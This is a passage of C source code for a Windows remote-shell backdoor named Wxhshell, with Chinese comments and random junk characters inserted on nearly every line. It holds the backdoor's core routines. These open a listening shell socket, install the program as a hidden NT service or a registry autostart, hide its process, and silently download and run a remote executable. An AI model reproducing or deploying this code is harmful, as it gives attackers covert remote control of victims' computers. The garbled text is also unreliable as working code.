Cd>
ULONG UniqueProcessId; d\A7}_r*x
ULONG InheritedFromUniqueProcessId; ~Odclrs
} PROCESS_BASIC_INFORMATION; &BKnJ{,H
VWXyN
PROCNTQSIP NtQueryInformationProcess; gQhYM7NP{5
c2GTN "
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k?3mFWc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qixnaiZ
th"Aatmp
HANDLE hProcess; ]B&jMj~y&
PROCESS_BASIC_INFORMATION pbi; A#pH$s
fE|"g'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rWM5&M
if(NULL == hInst ) return 0; I)3LJK
{RsdI=%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rf^IJY[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
's"aPqF?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0 >(hiTy<
W1M Bk[:Q
if (!NtQueryInformationProcess) return 0; ?gK|R
:[_k .1-+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n]l3
)u
if(!hProcess) return 0; ;L],i<F
Y?oeP^V'u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2I=4l
\dB z-H'@
CloseHandle(hProcess); 0yUn~'+(Sp
>"zN`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7|ACJv6%9
if(hProcess==NULL) return 0; V2m=
m}HQ
.)t*!$5=N
HMODULE hMod; (LVzE_`
char procName[255]; U;
#v-'Z
unsigned long cbNeeded; 33"!K>wC
=ZV+*cCC=q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dt=M#+g
lH,/N4r*&
CloseHandle(hProcess); [m<8SOMG(
C1YH\X(r
if(strstr(procName,"services")) return 1; // 以服务启动 n;.);
4Dd]:2|D
return 0; // 注册表启动 /GNm>NSK
} O+DYh=m*p
T}'*Gry
// 主模块 d<cQYI4V
int StartWxhshell(LPSTR lpCmdLine) |mw3v>
{ oBPm^ob4
SOCKET wsl; >T14
J'\
BOOL val=TRUE;
y?*Y=,"
int port=0; '2p,0Bk9i
struct sockaddr_in door; *'@T+$3s
? a*yK8S
if(wscfg.ws_autoins) Install(); N40DL_-
9~r8$,e
port=atoi(lpCmdLine); ``h*A
\gir
if(port<=0) port=wscfg.ws_port; Jjx1`S*i
>IS BK[=H
WSADATA data; {|q(4(f"Iu
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ln09_Lr
S;!7/z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6I5LZ^/ G9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NdI~1kemr
door.sin_family = AF_INET; ~MK%^5y?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kKVNE hTp
door.sin_port = htons(port); ^
-lWv
E@@XWU21;N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UtB~joaR
closesocket(wsl); +4]f6Zz({
return 1; ir;az{T#U
} s<LYSr d
NF*Z<$ '%
if(listen(wsl,2) == INVALID_SOCKET) { .Ax]SNZ+:A
closesocket(wsl); FCt %of#
return 1; EHq?yj;
} >\1j`/ :ZI
Wxhshell(wsl); [@$t35t~
WSACleanup(); 7t%
|s!~
U,\t2z
return 0; |198A,^
ZlL]AD@
} Xf|I=XK
J}VG4}L
// 以NT服务方式启动 Yc>.P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Y<FR
{ mx0EEU*
DWORD status = 0; 8/CK(G
DWORD specificError = 0xfffffff; @B>pPCowa
GUvEOD=p
serviceStatus.dwServiceType = SERVICE_WIN32; E$5A
1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h`MTB!o
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]M&KUgz
serviceStatus.dwWin32ExitCode = 0; >yt8gw0J
serviceStatus.dwServiceSpecificExitCode = 0; vq5o?$:-
serviceStatus.dwCheckPoint = 0; -h&KC{Xab
serviceStatus.dwWaitHint = 0; rhwjsC6
GaOM|F'>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6L&_(/{Uw
if (hServiceStatusHandle==0) return; yT C+5_7
?wZ`U
Oi
status = GetLastError(); !X<dN..
if (status!=NO_ERROR) ?Lquf&`vP
{ `mDCX
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6"U$H$i.G
serviceStatus.dwCheckPoint = 0; `R_;n#3F0
serviceStatus.dwWaitHint = 0; u_%L~1+'
serviceStatus.dwWin32ExitCode = status; G@6F<L~$1
serviceStatus.dwServiceSpecificExitCode = specificError; {} Zqaf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;v%f +
return; Jw
-3G3h
} Ibu 5
r[KX"U-
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Z-%'5hKM
serviceStatus.dwCheckPoint = 0; ^qNr<Ye
serviceStatus.dwWaitHint = 0; *skmTioj&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +(8Z8]Jf
}
m}sh(W5\
V\r2=ok@y
// 处理NT服务事件,比如:启动、停止 w@hbY:Z9z
VOID WINAPI NTServiceHandler(DWORD fdwControl) K\^S>dV
{ .]K{8[:hq
switch(fdwControl) X32{y973hT
{ 9 EV. ![
case SERVICE_CONTROL_STOP: )8JM.:,
serviceStatus.dwWin32ExitCode = 0; 78t:ge
eX
serviceStatus.dwCurrentState = SERVICE_STOPPED; yo!Y%9
serviceStatus.dwCheckPoint = 0; kuo!}QFL
serviceStatus.dwWaitHint = 0; Kr@6m80E5
{ =$F<Ac;&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8@d@T V!n&
} V*F |Yo:
return; C5EaP%s
case SERVICE_CONTROL_PAUSE: #-bz$w#*
serviceStatus.dwCurrentState = SERVICE_PAUSED; |aS272'
break; G57c 8}\4
case SERVICE_CONTROL_CONTINUE: h~u|v[@{J
serviceStatus.dwCurrentState = SERVICE_RUNNING; vW`[CEm^X
break; +E
}q0GV
case SERVICE_CONTROL_INTERROGATE: +;N;r/d_i
break; ?4YLt|sn
}; \vqqs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .CBb%onx
} s73' h
em?Q4t
// 标准应用程序主函数
L }pj+xB
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `E8D5'tt
{ e3]v
*<bj
#9p|aS\
// 获取操作系统版本 r5'bt"K\>
OsIsNt=GetOsVer(); ! +XreCw
GetModuleFileName(NULL,ExeFile,MAX_PATH); S0!w]Ku
\JIyJ8FleC
// 从命令行安装 U'0e<IcY
if(strpbrk(lpCmdLine,"iI")) Install(); ]q 3.^F
5O"$'iL
// 下载执行文件 w7QYWf'
if(wscfg.ws_downexe) { o!W(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E{{Kzr2$
WinExec(wscfg.ws_filenam,SW_HIDE); ^BhS*
} }sW%i#CV
ibh,d.*~g
if(!OsIsNt) { |a>,FZv8e
// 如果时win9x,隐藏进程并且设置为注册表启动 ;]^% 6B n
HideProc(); dnCurWjdk
StartWxhshell(lpCmdLine); .g!K| c
} *b\&R%6dR
else z2[{3Kd*
if(StartFromService()) cSYMnB
// 以服务方式启动 5N:IH@
StartServiceCtrlDispatcher(DispatchTable);
aS,
else "43F.!P
// 普通方式启动 N%!{n7`N:
StartWxhshell(lpCmdLine); w
L4P-4'
>IJX=24Rc
return 0; _~O*V&
}